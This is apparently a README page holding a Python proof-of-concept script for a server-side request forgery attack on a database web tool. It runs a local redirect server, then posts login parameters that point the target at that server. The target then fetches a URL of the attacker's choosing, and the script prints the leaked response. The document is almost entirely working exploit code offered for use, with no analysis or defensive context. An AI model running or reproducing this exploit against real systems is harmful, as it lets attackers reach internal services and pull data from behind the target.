README.md
Rendering markdown...
from http.server import HTTPServer, BaseHTTPRequestHandler
from threading import Thread
import argparse
import requests
from bs4 import BeautifulSoup
class RedirectHandler(BaseHTTPRequestHandler):
def __init__(self, redirect, *args):
self.redirect = redirect
BaseHTTPRequestHandler.__init__(self,*args)
def do_GET(self):
self.send_response(301)
self.send_header('Location', self.redirect)
self.end_headers()
def run_server(host, port, redirect):
def redirect_handler(*args):
RedirectHandler(redirect, *args)
daemon = HTTPServer((host, port), redirect_handler)
daemon.serve_forever()
if __name__ == "__main__":
parser = argparse.ArgumentParser()
parser.add_argument('-target', required=True, help='url of target')
parser.add_argument('-redirect', required=True, help='url for redirect path')
parser.add_argument('-host', required=True, help='host ip to listen')
parser.add_argument('-port', default=80, help='listening server port')
args = parser.parse_args()
print(f'[*] Listening on {args.port}')
t = Thread(target=run_server, args=('0.0.0.0', args.port, args.redirect), daemon=True)
t.start()
print('[*] Send Exploit...')
params = {
'auth[driver]': 'elastic',
'auth[server]': args.host,
'auth[username]': 'test',
'auth[password]': 'test',
'auth[db]': 'test',
'auth[permanent]': 0
}
try:
res = requests.post(url=args.target, data=params)
html = BeautifulSoup(res.text,'html.parser')
except Exception as e:
print()
print('[*] SSRF Response')
print(html.find('div', {'class': 'error'}).text)